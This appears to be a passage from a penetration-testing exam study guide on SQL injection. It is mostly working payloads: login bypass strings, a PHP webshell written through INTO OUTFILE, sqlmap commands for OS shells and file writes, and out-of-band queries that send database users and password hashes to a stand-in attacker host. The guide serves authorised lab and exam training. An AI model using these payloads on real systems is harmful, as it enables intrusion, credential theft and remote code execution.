• Because stage 2 often runs as a higher-privileged DB user, second-order SQLi frequently escalates to file write / RCE where the first-order path could not.

3.13 Escalation: Authentication Bypass, File Access, RCE

3.13.1 Authentication bypass payload set

' OR 1=1-- -
' OR '1'='1
' OR '1'='1'-- -
' OR '1'='1'#
' OR 1=1#
' OR 1=1 LIMIT 1-- -
admin'-- -
admin'#
admin' OR '1'='1
admin'/*
' OR 'x'='x
') OR ('1'='1
') OR '1'='1'-- -
" OR ""="
" OR 1=1-- -
' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'-- -   # inject a known MD5 ('password')
' OR EXISTS(SELECT 1 FROM users WHERE username='admin')-- -

When the query is SELECT * FROM users WHERE user='$u' AND pass='$p', injecting into username with a comment terminator drops the password check entirely. When only username is escaped, inject the password field instead.

3.13.2 Privilege check before escalating

-- MySQL
SELECT user(), current_user();
SELECT super_priv, file_priv FROM mysql.user WHERE user=SUBSTRING_INDEX(USER(),'@',1);
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'plugin_dir';

-- PostgreSQL
SELECT current_user, usesuper FROM pg_user WHERE usename=current_user;

-- MSSQL
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT SYSTEM_USER, IS_MEMBER('db_owner');

-- Oracle
SELECT * FROM session_privs;
SELECT granted_role FROM user_role_privs;

sqlmap shortcut: --is-dba, --privileges, --roles, --current-user.

3.13.3 Escalation decision table

3.13.4 Webshell drop (MySQL, the classic)

-- Find the webroot first: error messages, phpinfo, /etc/apache2/sites-enabled/000-default.conf via LOAD_FILE
' UNION SELECT NULL,LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf'),NULL-- -

-- Drop a minimal PHP shell (path must be writable by mysqld, file must not exist)
' UNION SELECT '<?php system($_REQUEST["cmd"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/x.php'-- -

-- Hex form avoids quote filtering
' UNION SELECT 0x3C3F7068702073797374656D28245F524551554553545B22636D64225D293B203F3E INTO DUMPFILE '/var/www/html/x.php'-- -

Then GET /x.php?cmd=id.

Exam tips

• Enumerate the webroot before trying to write. /var/www/html, /var/www, /srv/http, C:\inetpub\wwwroot, C:\xampp\htdocs are the usual suspects; sqlmap's --os-shell brute-forces exactly this list and often fails because the app lives one directory deeper (e.g. /var/www/html/appname) — supply a custom path when prompted.
• If --os-shell fails on every common directory, use the "full path disclosure" option sqlmap offers (it triggers an error that leaks the absolute path) and then feed that path back.
• --file-write/--file-dest is often more reliable than --os-shell when you already know the path.

3.14 SQL Injection Testing Methodology

3.14.1 Sequence

3.14.2 Checklist

Exam tips

• Manual first, sqlmap second. sqlmap thrown blindly at a URL will pick an inefficient technique, generate thousands of requests, and can destabilise a lab. Identify the parameter and technique by hand, then hand sqlmap -p and --technique.
• Keep a scratch file per target with: URL, method, parameter, context (string/int), DBMS + version, comment style that works, column count, reflected column positions, current DB, table list. You will re-use it for every later question about that host.
• Note which comment style worked (# vs -- -) — reuse it everywhere on that target.

3.15 SQLMap In Depth

3.15.1 Target specification

# Simplest: URL with a parameter
sqlmap -u "http://target/product.php?id=1"

# POST data
sqlmap -u "http://target/login.php" --data="username=admin&password=pass"

# Focus on a single parameter (strongly recommended once you know which one)
sqlmap -u "http://target/product.php?id=1" -p id

# Skip a parameter
sqlmap -u "http://target/p.php?id=1&t=2" --skip="t"

# Force the HTTP method
sqlmap -u "http://target/api/user" --data='{"id":1}' --method=PUT

# Saved request file from Burp/ZAP  -- BEST PRACTICE: preserves headers, cookies, body, TLS
sqlmap -r /root/Desktop/request.txt -p words_exact

# Mark the injection point explicitly with *  (needed for REST paths, JSON, headers, cookies)
sqlmap -u "http://target/api/v1/user/1*"
sqlmap -u "http://target/p.php?id=1" --cookie="TrackingId=abc*; PHPSESSID=xyz"
sqlmap -r request.txt        # inside request.txt, put * where you want injection

# Cookies and custom headers
sqlmap -u "http://target/p.php?id=1" --cookie="PHPSESSID=9a8b7c6d"
sqlmap -u "http://target/p.php?id=1" -H "X-Forwarded-For: 1.2.3.4*"
sqlmap -u "http://target/p.php?id=1" -H "Authorization: Bearer eyJ..." --headers="X-API-Key: k1\nX-Env: prod"
sqlmap -u "http://target/p.php?id=1" --user-agent="Mozilla/5.0 (custom)*"
sqlmap -u "http://target/p.php?id=1" --referer="http://target/*"

# Multiple targets
sqlmap -m targets.txt                    # one URL per line
sqlmap -l burp.log                       # Burp proxy log file
sqlmap -x http://target/sitemap.xml      # sitemap
sqlmap -c sqlmap.conf                    # INI config file

Saving a request in Burp: right-click the request → Copy to file (or select all in the Raw tab and paste into a text file). Then sqlmap -r thatfile. This is the most reliable way to test POST bodies, JSON, multipart, and authenticated sessions.

The * marker: wherever you place * inside a -u URL, a -r request file, a cookie, or a header value, sqlmap injects there and only there. Use it for URL path segments (/user/1*), JSON values ({"id":"1*"}), and header values — places -p cannot name.

3.15.2 Detection: --level and --risk

--level = how many places are tested (breadth). --risk = how dangerous the payloads are.

# Test headers and cookies too
sqlmap -r request.txt --level=3 --risk=2

# Maximum breadth and aggression - only with explicit authorisation, never as a first shot
sqlmap -r request.txt --level=5 --risk=3

Raising level multiplies the request count enormously. Raise it only when level 1 finds nothing and you suspect a header/cookie sink.

3.15.3 Technique and DBMS targeting

# Restrict to the technique you already confirmed manually
sqlmap -r request.txt -p id --technique=B      # Boolean-based blind only
sqlmap -r request.txt -p id --technique=E      # Error-based only
sqlmap -r request.txt -p id --technique=U      # Union-based only
sqlmap -r request.txt -p id --technique=T      # Time-based blind only
sqlmap -r request.txt -p id --technique=S      # Stacked queries only
sqlmap -r request.txt -p id --technique=Q      # Inline queries only
sqlmap -r request.txt -p id --technique=BEU    # combine

Default value is BEUSTQ (all of them).

# Tell sqlmap the DBMS - skips all non-matching payloads (big speed win)
sqlmap -r request.txt -p id --dbms=MySQL
sqlmap -r request.txt -p id --dbms="Microsoft SQL Server"
sqlmap -r request.txt -p id --dbms=PostgreSQL
sqlmap -r request.txt -p id --dbms=Oracle
sqlmap -r request.txt -p id --dbms=SQLite
sqlmap -r request.txt -p id --os=Linux

# Custom injection boundaries when sqlmap's defaults do not match the query context
sqlmap -r request.txt -p id --prefix="')" --suffix="-- -"
sqlmap -r request.txt -p id --prefix="' " --suffix=" AND 'a'='a"

--prefix/--suffix are the fix when you know manually that ') closes the clause but sqlmap's automatic boundary detection fails.

# Union tuning
sqlmap -r request.txt -p id --technique=U --union-cols=5          # force column count
sqlmap -r request.txt -p id --technique=U --union-char=NULL       # character used to bruteforce columns
sqlmap -r request.txt -p id --technique=U --union-from=dual       # Oracle needs a FROM table

3.15.4 Response-comparison tuning (blind)

--string="Welcome back"     # page contains this when the condition is TRUE
--not-string="Invalid"      # page contains this when FALSE
--regexp="user_[0-9]+"      # regex for TRUE
--code=200                  # HTTP status that means TRUE
--titles                    # compare <title> only
--text-only                 # strip HTML tags before comparing

Use these whenever sqlmap says "heuristic test shows the parameter might not be injectable" but you have manually proven a content oracle.

3.15.5 Enumeration flags

# Banner, users, privileges
sqlmap -r request.txt -p id --banner                     # full DBMS banner/version
sqlmap -r request.txt -p id --current-user               # DB user the app connects as
sqlmap -r request.txt -p id --current-db                 # database in use
sqlmap -r request.txt -p id --hostname                   # DB server hostname
sqlmap -r request.txt -p id --is-dba                     # is the current user a DBA? (True/False)
sqlmap -r request.txt -p id --users                      # all DBMS users
sqlmap -r request.txt -p id --passwords                  # password hashes (offers to crack them)
sqlmap -r request.txt -p id --privileges                 # per-user privileges
sqlmap -r request.txt -p id --roles                      # per-user roles (Oracle/MSSQL)

# Schema walk
sqlmap -r request.txt -p id --dbs                                        # list databases
sqlmap -r request.txt -p id -D appdb --tables                            # tables in appdb
sqlmap -r request.txt -p id -D appdb -T users --columns                  # columns of appdb.users
sqlmap -r request.txt -p id -D appdb -T users -C username,password --dump   # dump 2 columns
sqlmap -r request.txt -p id -D appdb -T users --dump                     # dump whole table
sqlmap -r request.txt -p id -D appdb --dump                              # dump whole database
sqlmap -r request.txt -p id --dump-all --exclude-sysdbs                  # everything except system DBs
sqlmap -r request.txt -p id --schema --exclude-sysdbs                    # full schema (all DBs/tables/cols)
sqlmap -r request.txt -p id -a                                           # --all: retrieve everything (slow)

# Targeted / cheap
sqlmap -r request.txt -p id -D appdb -T users --count                    # row count only
sqlmap -r request.txt -p id --search -T user                             # find tables matching "user"
sqlmap -r request.txt -p id --search -C pass                             # find columns matching "pass"
sqlmap -r request.txt -p id -D appdb -T users --start=1 --stop=10        # dump rows 1-10 only
sqlmap -r request.txt -p id -D appdb -T users --where="id>100"           # filtered dump
sqlmap -r request.txt -p id --dump-format=CSV                            # output format

3.15.6 Interactive shells and OS takeover

# Run one query
sqlmap -r request.txt -p id --sql-query="SELECT user(),database()"
sqlmap -r request.txt -p id --sql-query="SELECT username,password FROM users"

# Interactive SQL prompt
sqlmap -r request.txt -p id --sql-shell
sqlmap -r request.txt -p id --sql-file=queries.sql

# Interactive OS command shell (needs stacked queries or file-write + webroot)
sqlmap -r request.txt -p id --os-shell
sqlmap -r request.txt -p id --os-cmd="id"
sqlmap -r request.txt -p id --os-shell --web-root="/var/www/html/appname"

# Meterpreter / out-of-band shell via Metasploit
sqlmap -r request.txt -p id --os-pwn --msf-path=/usr/share/metasploit-framework
sqlmap -r request.txt -p id --os-smbrelay
sqlmap -r request.txt -p id --priv-esc

# File read / write on the DB server
sqlmap -r request.txt -p id --file-read="/etc/passwd"
sqlmap -r request.txt -p id --file-read="C:/Windows/win.ini"
sqlmap -r request.txt -p id --file-write="/root/shell.php" --file-dest="/var/www/html/shell.php"
sqlmap -r request.txt -p id --file-write="./nc.exe" --file-dest="C:/inetpub/wwwroot/nc.exe"

--os-shell prompts for the server language (ASP/ASPX/JSP/PHP), then tries to upload a stager into the webroot. If it cannot find the webroot it offers common location(s), brute force search, or custom location — choose custom location and supply the path you found with --file-read on the Apache/nginx config or from a full-path-disclosure error.

3.15.7 Anti-CSRF, crawling, forms, second-order

# CSRF-protected forms: sqlmap fetches a fresh token for every request
sqlmap -u "http://target/change.php" --data="name=x&csrf_token=abc" --csrf-token="csrf_token"
sqlmap -u "http://target/change.php" --data="name=x&token=abc" --csrf-token="token" --csrf-url="http://target/form.php"
sqlmap -r request.txt --csrf-token="token" --csrf-method=GET --csrf-retries=5

# Crawl the site and test everything it finds
sqlmap -u "http://target/" --crawl=3 --batch
sqlmap -u "http://target/" --crawl=2 --crawl-exclude="logout|delete" --batch

# Parse and test every HTML form found on the page
sqlmap -u "http://target/" --forms --batch
sqlmap -u "http://target/" --crawl=2 --forms --batch

# Second-order: inject here, observe the result there
sqlmap -r store.req -p username --second-url="http://target/profile.php"
sqlmap -r store.req -p username --second-req=trigger.req

3.15.8 Performance, stealth, and session control

--batch                 # never prompt; accept every default answer
--answers="follow=N,quit=N,crack=N"   # pre-answer specific prompts
--threads=10            # parallel requests (max 10). Do NOT use with time-based
--delay=1               # seconds between requests (rate-limit friendly)
--time-sec=10           # seconds used by time-based payloads (raise on slow/noisy links)
--timeout=30            # socket timeout
--retries=3             # retries on connection failure
--random-agent          # random real User-Agent from sqlmap's list
--mobile                # imitate a smartphone UA
--proxy="http://127.0.0.1:8080"       # route everything through Burp/ZAP
--proxy-cred="user:pass"
--tor --tor-type=SOCKS5 --check-tor
--safe-url="http://target/home.php" --safe-freq=5   # hit a safe URL every 5 requests (anti-lockout)
--skip-urlencode        # do not URL-encode the payload
--chunked               # split the POST body with chunked transfer-encoding (WAF evasion)
--hpp                   # HTTP parameter pollution (WAF evasion)
--identify-waf          # fingerprint the WAF/IPS
--skip-waf              # skip the heuristic WAF check
--ignore-code=401       # ignore an HTTP status that would otherwise abort
--eval="import hashlib;h=hashlib.md5(id).hexdigest()"   # recompute a dependent param per request
-v 3                    # verbosity 0-6; v3 prints the payloads being sent
--flush-session         # discard cached results for this target and re-test from scratch
--fresh-queries         # ignore cached query results, re-run the queries
--purge                 # delete the entire sqlmap data/output directory
-s session.sqlite       # explicit session file
-t traffic.txt          # log all HTTP traffic to a file
--output-dir=/root/sqlmap-out
--update                # update sqlmap

--flush-session is the fix when sqlmap "remembers" a stale/incorrect finding (e.g. you changed the payload boundary or the app changed) and refuses to re-test.

3.15.9 Tamper scripts (filter/WAF evasion)

sqlmap -r request.txt -p id --tamper=space2comment
sqlmap -r request.txt -p id --tamper=between,randomcase,charencode
sqlmap -r request.txt -p id --tamper=space2comment,between,percentage --random-agent --delay=1
sqlmap --list-tampers            # print every available tamper script with its description

Deep WAF-bypass work belongs to the filter-evasion module; on the SQLi labs space2comment, between, randomcase, and charencode cover most cases.

3.15.10 Workflow — the sequence to run on an exam target

# 1. Capture the request in Burp, save it, mark the parameter (or use -p)
sqlmap -r req.txt -p id --batch --random-agent

# 2. Constrain once confirmed: DBMS + technique => 10x faster
sqlmap -r req.txt -p id --dbms=MySQL --technique=U --batch

# 3. Situational awareness
sqlmap -r req.txt -p id --dbms=MySQL --technique=U --banner --current-user --current-db --is-dba --batch

# 4. Schema
sqlmap -r req.txt -p id --dbms=MySQL --technique=U --dbs --batch
sqlmap -r req.txt -p id --dbms=MySQL --technique=U -D appdb --tables --batch
sqlmap -r req.txt -p id --dbms=MySQL --technique=U -D appdb -T users --columns --batch

# 5. Extract only what the question needs
sqlmap -r req.txt -p id --dbms=MySQL --technique=U -D appdb -T users -C username,password --dump --batch

# 6. Escalate if the question asks for a file or a shell
sqlmap -r req.txt -p id --file-read="/etc/passwd" --batch
sqlmap -r req.txt -p id --os-shell

Results (including the reusable payloads) are cached under ~/.local/share/sqlmap/output/<target>/ (older builds: ~/.sqlmap/output/). The log file there lets you recover findings after clearing the terminal.

Exam tips

• -r request.txt beats -u/--data/--cookie for anything non-trivial: it preserves the exact headers, session cookie, content-type, and TLS/redirect behaviour. Save every interesting request from Burp.
• When sqlmap asks "got a 302 redirect — do you want to follow?" answer yes; when it asks "POST data — resend to the new location?" answer no. Re-sending POST data on a redirect commonly breaks the test.
• When it asks "it looks like the back-end DBMS is MySQL, skip payloads for other DBMSes?" → yes, and "include all tests for MySQL extending level/risk?" → yes for speed, unless you are worried about impact.
• Copy the payload sqlmap prints in its findings block into Burp Repeater; it is a working manual payload for that exact parameter, and you can swap the inner SELECT for anything. sqlmap hex-encodes strings (0x...) to dodge filters — decode with CyberChef to read it.
• --threads and time-based do not mix. For --technique=T, use --threads=1 --time-sec=10.
• If sqlmap keeps reporting a stale result after you changed something, --flush-session.
• --level/--risk raise request volume steeply. Escalate deliberately, not reflexively.

3.16 Quick Reference Card

DETECT      '   ''   ')   "   \   ;   %27        4-1 vs 3
BOOL        AND 1=1 / AND 1=2      OR 1=1-- -
COMMENT     #   -- -   /**/   /*!50000 */
COLUMNS     ' ORDER BY N-- -       ' UNION SELECT NULL,NULL,...-- -
REFLECT     ' UNION SELECT 1,2,3,4,5-- -
VERSION     @@version | version() | @@VERSION | v$version | sqlite_version()
SCHEMA      information_schema.tables/.columns | sqlite_master | all_tables/all_tab_columns | sys.tables
ERROR       extractvalue/updatexml | CAST..AS INT | CONVERT(int,..) | UTL_INADDR/XMLType
BLIND       AND ASCII(SUBSTRING(expr,p,1))>N
TIME        SLEEP(5) | pg_sleep(5) | WAITFOR DELAY '0:0:5' | dbms_pipe.receive_message('a',5)
FILE R      LOAD_FILE() | pg_read_file() | OPENROWSET(BULK..) | UTL_FILE
FILE W      INTO OUTFILE/DUMPFILE | COPY..TO | xp_cmdshell echo | ATTACH DATABASE
RCE         UDF sys_exec | COPY..FROM PROGRAM | xp_cmdshell | DBMS_SCHEDULER
SQLMAP      sqlmap -r req.txt -p id --dbms=X --technique=U --batch --dbs

Exam tips

• Budget: 18 hours, 45 questions. If a parameter has not yielded in ~20 minutes of manual work, hand it to sqlmap with the constraints you have already established and move on while it runs.
• Most exam SQLi questions ask for a specific value (a flag, a hash, a username, a file's contents). Enumerate to the target table, dump only that column, answer, move on. Do not --dump-all.
• Record the working comment style, quote context, column count, and DBMS version for every host you touch; later questions on the same host reuse all of it.

4. Advanced & Non-SQL Injection (OOB, Second-Order, NoSQL, LDAP, ORM, XML/XXE)

This section covers everything that is not a plain first-order SQLi in a GET/POST parameter: injection that arrives through HTTP headers, injection whose result comes back over DNS/HTTP instead of in the response, injection that fires later in a different query, and injection into non-SQL back ends (MongoDB, LDAP directories, ORM layers, XML parsers).

Universal rule for every attack below: the methodology never changes — find an input, confirm the input reaches an interpreter, break the interpreter's syntax, observe the error/behaviour, then repair the syntax around your payload. Only the query language changes.

4.1 SQL Injection in HTTP Headers

4.1.1 Why headers are injectable

Applications log or process request metadata: analytics tables that store the User-Agent, referrer-tracking tables, "last login IP" columns populated from X-Forwarded-For, "remember me" lookups keyed on a cookie value. Developers sanitise the visible form fields and forget that headers are also user-controlled strings that get concatenated into INSERT / SELECT / UPDATE statements.

Typical vulnerable back-end pattern:

-- App stores every visitor's browser string; $_SERVER['HTTP_USER_AGENT'] is concatenated raw
INSERT INTO browsers (browser, ip) VALUES ('<User-Agent>', '<REMOTE_ADDR>')

Because the sink is usually an INSERT or UPDATE with no visible output, header SQLi is very often blind, time-based, error-based or second-order rather than UNION-based. The eWPTX "SQLI-1" style lab is exactly this: the app records your browser string and later shows "other users with your same browser", so the injected row is read back by a different query.

4.1.2 Headers worth testing (in priority order)

4.1.3 Manual testing

# Break the string context — look for a 500, a DB error, or a changed page
User-Agent: Mozilla/5.0'

# Repair it — if the quote broke the page and this fixes it, you are inside a string
User-Agent: Mozilla/5.0''

# MySQL time-based confirmation inside an INSERT VALUES('...') context
User-Agent: Mozilla/5.0'+(SELECT 1 FROM (SELECT SLEEP(5))a)+'

# MySQL error-based (extractvalue) — works in INSERT/UPDATE where output is never displayed
User-Agent: Mozilla/5.0' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) AND 'a'='a

# MSSQL time-based in a header
User-Agent: Mozilla/5.0';WAITFOR DELAY '0:0:5'--

# PostgreSQL time-based in a header
User-Agent: Mozilla/5.0';SELECT pg_sleep(5)--

# Stacked-query proof inside a logging INSERT (MySQL with multi-statement enabled / MSSQL)
X-Forwarded-For: 1.1.1.1'); WAITFOR DELAY '0:0:5'--

# Cookie value injection — inject into ONE cookie at a time, keep the others intact
Cookie: PHPSESSID=abcd1234; lang=en' AND SLEEP(5)-- -

4.1.4 sqlmap against headers

sqlmap's --level controls which headers are tested at all: level 2 adds Cookie, level 3 adds User-Agent and Referer, level 5 adds Host. If you do not raise the level, sqlmap will never touch a header.

# Cheapest correct way: save the full request from Burp (right-click > Copy to file) and let sqlmap parse it
sqlmap -r request.txt --level=5 --risk=3 --batch

# Pin the injection point precisely with the * marker inside the saved request file
# (edit request.txt so the line reads:  User-Agent: Mozilla/5.0*  )
sqlmap -r request.txt --batch

# Same * marker without a request file, using -H
sqlmap -u "http://1.sqli.labs/" -H "User-Agent: Mozilla/5.0*" --batch

# Explicitly name the header as the parameter (no * needed)
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --level=3 --random-agent --batch

# Dedicated switches for the two most common headers
sqlmap -u "http://target/" --user-agent="Mozilla/5.0*" --batch
sqlmap -u "http://target/" --referer="http://target/*" --level=3 --batch
sqlmap -u "http://target/" --cookie="id=1*" --level=2 --batch

# Arbitrary / custom header with the marker
sqlmap -u "http://target/" -H "X-Forwarded-For: 127.0.0.1*" --batch
sqlmap -u "http://target/" -H "X-Api-Key: abc*" --level=5 --risk=3 --batch

# Header injection often lives behind a UA filter: sqlmap's default UA gets blocked/WAF'd.
# --random-agent replaces it with a real browser string and can flip a "not injectable" to injectable.
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --batch

# Once confirmed, enumerate normally
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --dbs --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent -D 1sqlilabs --tables --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent -D 1sqlilabs -T browsers --columns --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent -D 1sqlilabs -T browsers --dump --batch

# Targeted retrieval when you only need one cell (fast, avoids dumping a huge log table)
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent \
  -D 1sqlilabs -T browsers -C browser --where="id=1" --dump --batch

# Search the whole DB for a column/table by name when you don't know the schema
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --search -C "flag,secret,code" --batch
sqlmap -u "http://1.sqli.labs/" -p "user-agent" --random-agent --search -T "user,admin" --batch

# Force a technique when the header sink only supports one (E=error, T=time, B=boolean, U=union, S=stacked)
sqlmap -r request.txt --technique=ET --batch

4.1.5 Exam tips

• The * marker works anywhere in the URL, POST body, a -H value or a -r request file. It is the fastest way to tell sqlmap "inject exactly here, ignore everything else".
• If sqlmap says "all tested parameters do not appear to be injectable" on a header, retry with --random-agent, then --level=5 --risk=3, then --technique=T --time-sec=10. The lab-demo UA vulnerability only appeared after --random-agent.
• Header sinks are usually INSERTs: expect no UNION, expect error-based or time-based. Do not waste exam time hunting for a column count.
• Test one header at a time. Mass-injecting every header at once makes it impossible to attribute a 500.
• An injected User-Agent that gets stored and later displayed is a second-order SQLi (§4.3), not a first-order one — trigger page and injection page differ.

4.2 Out-of-Band (OOB) SQL Injection

4.2.1 Concept

In OOB SQLi the attacker does not rely on in-band feedback from the application. Instead the payload forces the database server itself to open a network connection (DNS resolution or HTTP/SMB request) to an attacker-controlled host. The callback both confirms the vulnerability and can carry exfiltrated data inside the subdomain label or the query string.

Use OOB when:

• the application returns no error messages (fully blind), and
• responses are not observably different (boolean-blind fails), and
• time-based fails or is unusably slow/noisy, and
• the DB host is allowed to make outbound requests (the hard environmental requirement).

Attack flow: identify injectable input → craft a payload that makes the DBMS resolve/fetch <data>.attacker.tld → set up the listener → trigger → read the log.

DNS is generally preferred over HTTP: DNS egress is lightweight, usually permitted through egress firewalls (the internal resolver forwards it out), and is far less likely to be flagged. Its limits: labels are max 63 chars, FQDN max ~253 chars, case is not preserved, and many characters are illegal — so hex/base32-encode the data and chunk it.

4.2.2 Listener setup

# interactsh (ProjectDiscovery) — gives DNS + HTTP + HTTPS + SMTP + LDAP callbacks in one endpoint
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -v          # prints your unique payload domain, e.g. cvb3q0a1.oast.pro

# Burp Suite Pro: Burp menu > Burp Collaborator client > Copy to clipboard
# -> gives e.g. 8x2k9qz1abcd.oastify.com ; hit "Poll now" to view DNS/HTTP hits

# Quick free alternatives when Collaborator is unavailable
# dnslog.cn / requestbin / webhook.site  -> browser-based, no install

# Self-hosted DNS listener (useful when you own a domain and need full control)
sudo python3 -m http.server 80        # HTTP callbacks
sudo tcpdump -i any -n udp port 53    # raw DNS callbacks

4.2.3 MySQL — DNS/SMB via LOAD_FILE() UNC (Windows only)

LOAD_FILE() on a Windows MySQL host accepts a UNC path. Resolving \\host\share forces a DNS lookup plus an SMB connect. On Linux there is no UNC path handling, so this technique does not work — that is the single most common reason a MySQL OOB payload "fails".

Requirements: MySQL on Windows, secure_file_priv empty (not set to a directory), FILE privilege.

-- Bare confirmation: force a DNS lookup of attacker.oast.pro
SELECT LOAD_FILE('\\\\attacker.oast.pro\\a');

-- Exfiltrate the current database name as the leftmost DNS label
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.oast.pro\\a'));

-- Exfiltrate a hex-encoded value (safe for DNS: only 0-9a-f)
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(CONCAT(user,':',password)) FROM users LIMIT 1),'.attacker.oast.pro\\a'));

-- Chunked exfil when the value exceeds the 63-char DNS label limit
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT SUBSTR(HEX(password),1,40) FROM users LIMIT 1),'.a.attacker.oast.pro\\x'));
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT SUBSTR(HEX(password),41,40) FROM users LIMIT 1),'.b.attacker.oast.pro\\x'));

-- Same idea injected through a UNION into a vulnerable id parameter
' UNION SELECT 1,LOAD_FILE(CONCAT('\\\\',(SELECT version()),'.attacker.oast.pro\\a')),3-- -

-- Alternative MySQL file-write callback (also Windows/UNC only)
SELECT 'x' INTO OUTFILE '\\\\attacker.oast.pro\\share\\out.txt';

# The same payload delivered through an injectable header
User-Agent: Mozilla/5.0' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.oast.pro\\a'))) AND 'a'='a

4.2.4 MSSQL — xp_dirtree, fn_xe_file_target_read_file, xp_cmdshell

MSSQL is the most OOB-friendly DBMS: several built-ins take a UNC path and will happily resolve any hostname.

-- Classic DNS/SMB callback; xp_dirtree is executable by public in many default installs
EXEC master..xp_dirtree '\\attacker.oast.pro\a';

-- Exfiltrate DB_NAME() as a subdomain label
DECLARE @d varchar(1024);
SET @d = (SELECT db_name());
EXEC('master..xp_dirtree "\\'+@d+'.attacker.oast.pro\a"');

-- Other UNC-accepting stored procedures (try in this order if xp_dirtree is blocked)
EXEC master..xp_fileexist '\\attacker.oast.pro\a';
EXEC master..xp_subdirs   '\\attacker.oast.pro\a';
EXEC master..xp_getfiledetails '\\attacker.oast.pro\a';

-- fn_xe_file_target_read_file: SQL Server 2012+, reads Extended Events files, accepts UNC.
-- Useful because it is a FUNCTION -> usable inside a SELECT/UNION, no EXEC or stacked query needed.
SELECT * FROM fn_xe_file_target_read_file('\\attacker.oast.pro\a\*.xel', NULL, NULL, NULL);

-- fn_xe_file_target_read_file with inline exfiltration, injected via UNION
' UNION SELECT 1,(SELECT TOP 1 1 FROM fn_xe_file_target_read_file('\\'+db_name()+'.attacker.oast.pro\a\*.xel',NULL,NULL,NULL)),3-- -

-- OPENROWSET BULK against a UNC path (needs ADMINISTER BULK OPERATIONS)
SELECT * FROM OPENROWSET(BULK N'\\attacker.oast.pro\a\f.txt', SINGLE_CLOB) AS x;

MSSQL also exposes xp_cmdshell, which runs an OS command and can therefore trigger an HTTP/DNS callback directly. It is disabled by default and requires sysadmin; in an exam lab treat it as a last resort and note it in your report as a critical finding rather than a routine verification step.

4.2.5 Oracle — UTL_HTTP, UTL_INADDR, DBMS_LDAP, XXE-in-SQL

Oracle has the richest set of network packages, but from 11g onward outbound access is gated by fine-grained ACLs (DBMS_NETWORK_ACL_ADMIN). If a package raises ORA-24247: network access denied by access control list, the injection point is real but egress is blocked — that error is itself a confirmation.

-- HTTP callback carrying data in the query string
SELECT UTL_HTTP.REQUEST('http://attacker.oast.pro/?d='||(SELECT user FROM dual)) FROM dual;

-- DNS-only callback: resolving the hostname is enough, the lookup itself is the signal
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.attacker.oast.pro') FROM dual;

-- DBMS_LDAP.INIT — often permitted when UTL_HTTP/UTL_INADDR are locked down
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.oast.pro',80) FROM dual;

-- HTTPURITYPE — another HTTP path that bypasses some UTL_HTTP restrictions
SELECT HTTPURITYPE('http://attacker.oast.pro/?d='||(SELECT banner FROM v$version WHERE ROWNUM=1)).GETCLOB() FROM dual;

-- XXE-inside-SQL: EXTRACTVALUE parses an inline DTD, so the XML parser makes the request.
-- Frequently works when every UTL_* package is ACL-blocked.
SELECT EXTRACTVALUE(xmltype(
  '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ENTITY % p SYSTEM "http://'
  ||(SELECT user FROM dual)||'.attacker.oast.pro/">%p;]>'),'/l') FROM dual;

-- Injected form inside a vulnerable Oracle parameter (Oracle needs FROM dual in subselects)
' AND 1=(SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.attacker.oast.pro') FROM dual)-- -

4.2.6 PostgreSQL — COPY ... TO/FROM PROGRAM, dblink, large-object file read

-- COPY TO PROGRAM executes a shell command as the postgres OS user. Requires superuser
-- (or pg_execute_server_program) and PostgreSQL 9.3+. This is RCE, not just a callback -
-- report it as critical; a DNS lookup is the least invasive way to prove it.
COPY (SELECT '') TO PROGRAM 'nslookup attacker.oast.pro';

-- Stacked-query form through an injectable parameter
'; COPY (SELECT '') TO PROGRAM 'nslookup attacker.oast.pro'; -- -

-- COPY FROM PROGRAM: command output lands in a table you can then SELECT in-band
DROP TABLE IF EXISTS oob; CREATE TABLE oob(o text);
COPY oob FROM PROGRAM 'id';
SELECT * FROM oob;

-- dblink: a pure network callback that needs no shell (extension must be installed)
SELECT dblink_connect('host=attacker.oast.pro user=x password=x dbname=x connect_timeout=3');

-- No superuser? pg_read_file() still proves file read within the data directory
SELECT pg_read_file('/etc/passwd');

4.2.7 sqlmap OOB automation

# --dns-domain turns sqlmap into a DNS server and exfiltrates over DNS.
# Requirements: run as root (binds UDP/53) and be the authoritative NS for the domain,
# i.e. you own attacker.tld and delegated an NS record to this host.
sudo sqlmap -u "http://target/page.php?id=1" --dns-domain=attacker.tld --batch

# Combine with the dns technique explicitly and dump
sudo sqlmap -u "http://target/page.php?id=1" --dns-domain=attacker.tld --technique=T --dbs --batch

# --eval / --proxy are unrelated; the OOB helpers you actually need are:
#   --dns-domain=DOMAIN     DNS exfiltration domain
#   --hostname              retrieve the DB server hostname (useful OOB pivot info)
#   --file-read=FILE        DBMS file read (proves FILE privilege)
sqlmap -u "http://target/page.php?id=1" --hostname --batch
sqlmap -u "http://target/page.php?id=1" --file-read="/etc/passwd" --batch

4.2.8 Exam tips

• OOB is the fourth thing you try, not the first: error → boolean → time → OOB. If time-based already works, use it; it needs no infrastructure.
• Always confirm egress first with a bare callback (no data), then add exfiltration. If the bare callback never arrives, stop — the DB has no outbound path and OOB is dead regardless of payload quality.
